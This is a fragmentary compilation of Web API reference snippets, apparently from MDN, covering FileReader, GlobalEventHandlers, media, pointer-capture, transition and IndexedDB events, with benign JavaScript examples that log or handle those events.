... bubbles no cancelable no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .ex...
...ample { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart'...
..., handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
the loadstart event is fired when a file read operation has begun.
... bubbles no cancelable no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .
...example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstar...
...t', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: progress event - Web APIs
the progress event is fired periodically as the filereader reads data.
... bubbles no cancelable no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .e...
...xample { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart...
...', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
GamepadEvent() - Web APIs
the gamepadevent() constructor creates a new gamepadevent object.
... syntax var gamepadevent = new gamepadevent(typearg, options) parameters typearg a domstring that must be one of gamepadconnected or gamepaddisconnected.
... options optional options are as follows: gamepad: an instance of gamepad describing the gamepad associated with the event.
... specifications specification status comment gamepadthe definition of 'gamepadevent_' in that specification.
GamepadEvent.gamepad - Web APIs
the gamepadevent.gamepad property of the gamepadevent interface returns a gamepad object, providing access to the associated gamepad data for fired gamepadconnected and gamepaddisconnected events.
... syntax readonly attribute gamepad gamepad; example the gamepad property being called on a fired window.gamepadconnected event.
... window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
... specifications specification status comment gamepadthe definition of 'gamepadevent.gamepad' in that specification.
GlobalEventHandlers.onchange - Web APIs
the onchange property of the globaleventhandlers mixin is an eventhandler for processing change events.
... change events fire when the user commits a value change to a form control.
... note: unlike oninput, the onchange event handler is not necessarily called for each alteration to an element's value.
...the function receives an event object as its sole argument.
GlobalEventHandlers.onclose - Web APIs
the onclose property of the globaleventhandlers mixin is an eventhandler for processing close events sent to a <dialog> element.
... the close event fires when the user closes a <dialog>.
...the function receives an event object as its sole argument.
...you may prefer to use the eventtarget.addeventlistener() method instead, since it's more flexible.
GlobalEventHandlers.oncuechange - Web APIs
the oncuechange property of the globaleventhandlers mixin is the eventhandler for processing cuechange events.
... the cuechange event fires when a texttrack has changed the currently displaying cues.
... the event is sent to both the texttrack and to the <track> element the track is being presented by, if any; in the latter case, its handler is on an htmltrackelement object.
... syntax element.oncuechange = handlerfunction; var handlerfunction = element.oncuechange; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.oninput - Web APIs
the oninput property of the globaleventhandlers mixin is an eventhandler that processes input events on the <input>, <select>, and <textarea> elements.
... it also handles these events on elements where contenteditable or designmode are turned on.
... note: unlike oninput, the onchange event handler is not necessarily called for each alteration to an element's value.
...the function receives an inputevent object as its sole argument.
GlobalEventHandlers.onkeydown - Web APIs
the onkeydown property of the globaleventhandlers mixin is an eventhandler that processes keydown events.
... the keydown event fires when the user presses a keyboard key.
...the function receives a keyboardevent object as its sole argument.
... example this example logs the keyboardevent.code value whenever you press down a key inside the <input> element.
GlobalEventHandlers.onkeyup - Web APIs
the onkeyup property of the globaleventhandlers mixin is an eventhandler that processes keyup events.
... the keyup event fires when the user releases a key that was previously pressed.
...the function receives a keyboardevent object as its sole argument.
... example this example logs the keyboardevent.code value whenever you release a key inside the <input> element.
GlobalEventHandlers.onmouseout - Web APIs
the onmouseout property of the globaleventhandlers mixin is an eventhandler that processes mouseout events.
... the mouseout event fires when the mouse leaves an element.
... for example, when the mouse moves off of an image in the web page, the mouseout event is raised for that image element.
... syntax element.onmouseout = function; example this example adds an onmouseout and an onmouseover event to a paragraph.
GlobalEventHandlers.onmouseup - Web APIs
the onmouseup property of the globaleventhandlers mixin is an eventhandler that processes mouseup events.
... the mouseup event fires when the user releases the mouse button.
...the function receives a mouseevent object as its sole argument.
...it uses the onmousedown and onmouseup event handlers.
GlobalEventHandlers.onresize - Web APIs
the onresize property of the globaleventhandlers interface is an eventhandler that processes resize events.
... the resize event fires after the window has been resized.
...the function receives a focusevent object as its sole argument.
... examples window size logger <p>resize the browser window to fire the <code>resize</code> event.</p> <p>window height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = resize; specification specification status comment html living standardthe definition of 'onresize' in that specification.
GlobalEventHandlers.onselect - Web APIs
the onselect property of the globaleventhandlers mixin is an eventhandler that processes select events.
... the select event only fires after text inside an <input type="text"> or <textarea> is selected.
...the function receives a uievent object as its sole argument.
... html <textarea>try selecting some text in this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
GlobalEventHandlers.onselectionchange - Web APIs
the onselectionchange property of the globaleventhandlers mixin is an eventhandler that processes selectionchange events.
... the selectionchange event fires when the text selected on a webpage changes.
...the function receives a focusevent object as its sole argument.
... specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectionchange' in that specification.
GlobalEventHandlers.onselectstart - Web APIs
the onselectstart property of the globaleventhandlers mixin is an eventhandler that processes selectstart events.
... the selectstart event fires when the user starts to make a new text selection on a webpage.
...the function receives a focusevent object as its sole argument.
... specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectstart' in that specification.
GlobalEventHandlers.onwheel - Web APIs
the onwheel property of the globaleventhandlers mixin is an eventhandler that processes wheel events.
... the wheel event fires when the user rotates the mouse (or other pointing device) wheel.
...the function receives a wheelevent object as its sole argument.
... html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px; background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; result ...
HTMLDialogElement: cancel event - Web APIs
the cancel event fires on a <dialog> when the user instructs the browser that they wish to dismiss the current open dialog.
... for example, the browser might fire this event when the user presses the esc key or clicks a "close dialog" button which is part of the browser's ui.
... bubbles no cancelable yes interface event event handler oncancel examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('cancel', (event) => { result.textcontent = 'dialog was canceled'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { ...
... result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'cancel' in that specification.
HTMLElement: gotpointercapture event - Web APIs
the gotpointercapture event is fired when an element captures a pointer using setpointercapture().
... bubbles yes cancelable no interface pointerevent event handler property ongotpointercapture examples this example gets a <p> element and listens for the gotpointercapture event.
... it then calls setpointercapture() on the element on a pointerdown event, which will trigger gotpointercapture.
... const para = document.queryselector('p'); para.addeventlistener('gotpointercapture', () => { console.log('i\'ve been captured!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, using the ongotpointercapture event handler property: const para = document.queryselector('p'); para.ongotpointercapture = () => { console.log('i\'ve been captured!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
HTMLElement: lostpointercapture event - Web APIs
the lostpointercapture event is fired when a captured pointer is released.
... bubbles yes cancelable no interface pointerevent event handler property onlostpointercapture examples this example listens for the lostpointercapture event for an element, and captures the pointer for the element on pointerdown.
... when the user subsequently releases the pointer, the lostpointercapture event will be fired.
... const para = document.queryselector('p'); para.addeventlistener('lostpointercapture', () => { console.log('i\'ve been released!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, but using the onlostpointercapture event handler property: const para = document.queryselector('p'); para.onlostpointercapture = () => { console.log('i\'ve been released!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
HTMLElement: transitionrun event - Web APIs
the transitionrun event is fired when a css transition is first created, i.e.
... bubbles yes cancelable no interface transitionevent event handler property ontransitionrun examples this code adds a listener to the transitionrun event: el.addeventlistener('transitionrun', () => { console.log('transition is running but hasn\'t necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"...
...></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
... const el = document.queryselector('.transition'); const message = document.queryselector('.message'); el.addeventlistener('transitionrun', function() { message.textcontent = 'transitionrun fired'; }); el.addeventlistener('transitionstart', function() { message.textcontent = 'transitionstart fired'; }); el.addeventlistener('transitionend', function() { message.textcontent = 'transitionend fired'; }); the difference is that: transitionrun fires when the transition is created (i.e.
HTMLElement: transitionstart event - Web APIs
the transitionstart event is fired when a css transition has actually started, i.e., after any transition-delay has ended.
... bubbles yes cancelable no interface transitionevent event handler property ontransitionstart examples this code adds a listener to the transitionstart event: element.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition...
...-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
... const transition = document.queryselector('.transition'); const message = document.queryselector('.message'); transition.addeventlistener('transitionrun', function() { message.textcontent = 'transitionrun fired'; }); transition.addeventlistener('transitionstart', function() { message.textcontent = 'transitionstart fired'; }); transition.addeventlistener('transitionend', function() { message.textcontent = 'transitionend fired'; }); the difference is that: transitionrun fires when the transition is created (i.e.
HTMLInputElement: search event - Web APIs
the search event is fired when a search is initiated usinng an <input> element of type="search".
... bubbles yes cancelable no interface event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the event is debounced).
...using this control also fires the search event.
... examples // addeventlistener version const input = document.queryselector('input[type="search"]'); input.addeventlistener('search', () => { console.log("the term searched for was " + input.value); }) // onsearch version const input = document.queryselector('input[type="search"]'); input.onsearch = () => { console.log("the term searched for was " + input.value); }) specifications this event is not part of any specification.
HTMLMediaElement: canplay event - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.oncanplay specification html5 media examples these examples add an event listener for the htmlmediaelement's canplay event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplay', (event) => { console.log('video can start, but not sure it will play through.'); }); using the oncanplay event handler property: const video = document.queryselector('video'); video.oncanplay = (event) => { console.log('video can start, but not sure it will play through.'); }; specifications specification status html living standardthe definition of 'canplay media event' in that specification.
... living standard html5the definition of 'canplay media event' in that specification.
HTMLMediaElement: canplaythrough event - Web APIs
the canplaythrough event is fired when the user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.oncanplaythrough specification html5 media examples these examples add an event listener for the htmlmediaelement's canplaythrough event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplaythrough', (event) => { console.log('i think i can play through the entire ' + ' video without ever having to stop to buffer.'); }); using the oncanplaythrough event handler property: const video = document.queryselector('video'); video.oncanplaythrough = (event) => { console.log('i think i can play thru the entire ' + ' video without ever having to stop to buffer.'); }; specifications specification status html living standardthe definition of 'canplaythrough media event' in that specification.
... living standard html5the definition of 'canplaythrough media event' in that specification.
HTMLMediaElement: durationchange event - Web APIs
the durationchange event is fired when the duration attribute has been updated.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.ondurationchange specification html5 media examples these examples add an event listener for the htmlmediaelement's durationchange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('durationchange', (event) => { console.log('not sure why, but the duration of the video has changed.'); }); using the ondurationchange event handler property: const video = document.queryselector('video'); video.ondurationchange = (event) => { console.log('not sure why, but the duration of the video has changed.'); }; specifications specification status html living standardthe definition of 'durationchange media event' in that specification.
... living standard html5the definition of 'durationchange media event' in that specification.
HTMLMediaElement: playing event - Web APIs
the playing event is fired when playback is ready to start after having been paused or delayed due to lack of data.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onplaying specification html5 media examples these examples add an event listener for the htmlmediaelement's playing event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('playing', (event) => { console.log('video is no longer paused'); }); using the onplaying event handler property: const video = document.queryselector('video'); video.onplaying = (event) => { console.log('video is no longer paused.'); }; specifications specification status html living standardthe definition of 'playing media event' in that specification.
... living standard html5the definition of 'playing media event' in that specification.
HTMLMediaElement: ratechange event - Web APIs
the ratechange event is fired when the playback rate has changed.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onratechange specification html5 media examples these examples add an event listener for the htmlmediaelement's ratechange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ratechange', (event) => { console.log('the playback rate changed.'); }); using the onratechange event handler property: const video = document.queryselector('video'); video.onratechange = (event) => { console.log('the playback rate changed.'); }; specifications specification status html living standardthe definition of 'ratechange media event' in that specification.
... living standard html5the definition of 'ratechange media event' in that specification.
HTMLMediaElement: seeked event - Web APIs
the seeked event is fired when a seek operation completed, the current playback position has changed, and the boolean seeking attribute is changed to false.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onseeked specification html5 media examples these examples add an event listener for the htmlmediaelement's seeked event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeked', (event) => { console.log('video found the playback position it was looking for.'); }); using the onseeked event handler property: const video = document.queryselector('video'); video.onseeked = (event) => { console.log('video found the playback position it was looking for.'); }; specifications specification status html living standardthe definition of 'seeked media event' in that specification.
... living standard html5the definition of 'seeked media event' in that specification.
HTMLMediaElement: seeking event - Web APIs
the seeking event is fired when a seek operation starts, meaning the boolean seeking attribute has changed to true and the media is seeking a new position.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onseeking specification html5 media examples these examples add an event listener for the htmlmediaelement's seeking event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeking', (event) => { console.log('video is seeking a new position.'); }); using the onseeking event handler property: const video = document.queryselector('video'); video.onseeking = (event) => { console.log('video is seeking a new position.'); }; specifications specification status html living standardthe definition of 'seeking media event' in that specification.
... living standard html5the definition of 'seeking media event' in that specification.
HTMLMediaElement: stalled event - Web APIs
the stalled event is fired when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onstalled specification html5 media examples these examples add an event listener for the htmlmediaelement's stalled event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const video = document.queryselector('video'); video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification status html living standardthe definition of 'stalled media event' in that specification.
... living standard html5the definition of 'stalled media event' in that specification.
HTMLMediaElement: suspend event - Web APIs
the suspend event is fired when media data loading has been suspended.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onsuspend specification html5 media examples these examples add an event listener for the htmlmediaelement's suspend event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('suspend', (event) => { console.log('data loading has been suspended.'); }); using the onsuspend event handler property: const video = document.queryselector('video'); video.onsuspend = (event) => { console.log('data loading has been suspended.'); }; specifications specification status html living standardthe definition of 'suspend media event' in that specification.
... living standard html5the definition of 'suspend media event' in that specification.
HTMLMediaElement: volumechange event - Web APIs
the volumechange event is fired when the volume has changed.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onvolumechange specification html5 media examples these examples add an event listener for the htmlmediaelement's volumechange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('volumechange', (event) => { console.log('the volume changed.'); }); using the onvolumechange event handler property: const video = document.queryselector('video'); video.onvolumechange = (event) => { console.log('the volume changed.'); }; specifications specification status html living standardthe definition of 'volumechange media event' in that specification.
... living standard html5the definition of 'volumechange media event' in that specification.
HTMLMediaElement: waiting event - Web APIs
the waiting event is fired when playback has stopped because of a temporary lack of data.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onwaiting specification html5 media examples these examples add an event listener for the htmlmediaelement's waiting event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('waiting', (event) => { console.log('video is waiting for more data.'); }); using the onwaiting event handler property: const video = document.queryselector('video'); video.onwaiting = (event) => { console.log('video is waiting for more data.'); }; specifications specification status html living standardthe definition of 'waiting media event' in that specification.
... living standard html5the definition of 'waiting media event' in that specification.
IDBDatabase: close event - Web APIs
the close event is fired on idbdatabase when the database connection is unexpectedly closed.
... bubbles no cancelable no interface event event handler property onerror examples this example opens a database and listens for the close event: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore...
....createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; db.addeventlistener('close', () => { console.log('database connection closed'); }); }; the same example, using the onclose property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectst...
...efine what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; db.onclose = () => { console.log('database connection closed'); }; }; ...
IDBDatabase: error event - Web APIs
the error event is fired on idbdatabase when a request returns an error and the event bubbles up to the connection object.
... bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique:...
... false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const db = dbopenrequest.result; db.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeven...
...tlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: '...
IDBDatabase: versionchange event - Web APIs
the versionchange event is fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested.
... bubbles no cancelable no interface event event handler property onversionchange examples this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'm...
...onth', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('versionchange', event => { console.log('the version of this database has changed'); }); }); the same example, using the onversionchange event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createin...
...dex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = event.target.result; db.onversionchange = event => { console.log('the version of this database has changed'); }; }; ...
IDBOpenDBRequest: upgradeneeded event - Web APIs
the upgradeneeded event is fired when an attempt was made to open a database with a version number higher than its current version.
... bubbles no cancelable no interface event event handler onupgradeneeded examples this example opens a database and handles the upgradeneeded event by making any necessary updates to the object store.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); this is the same example, but uses the onupgradeneeded event handler...
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; ...
IDBRequest: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data i...
...tems the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); dbopenrequest.addeventlistener('success', event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objec...
...tstorerequest.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); }); the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false ...
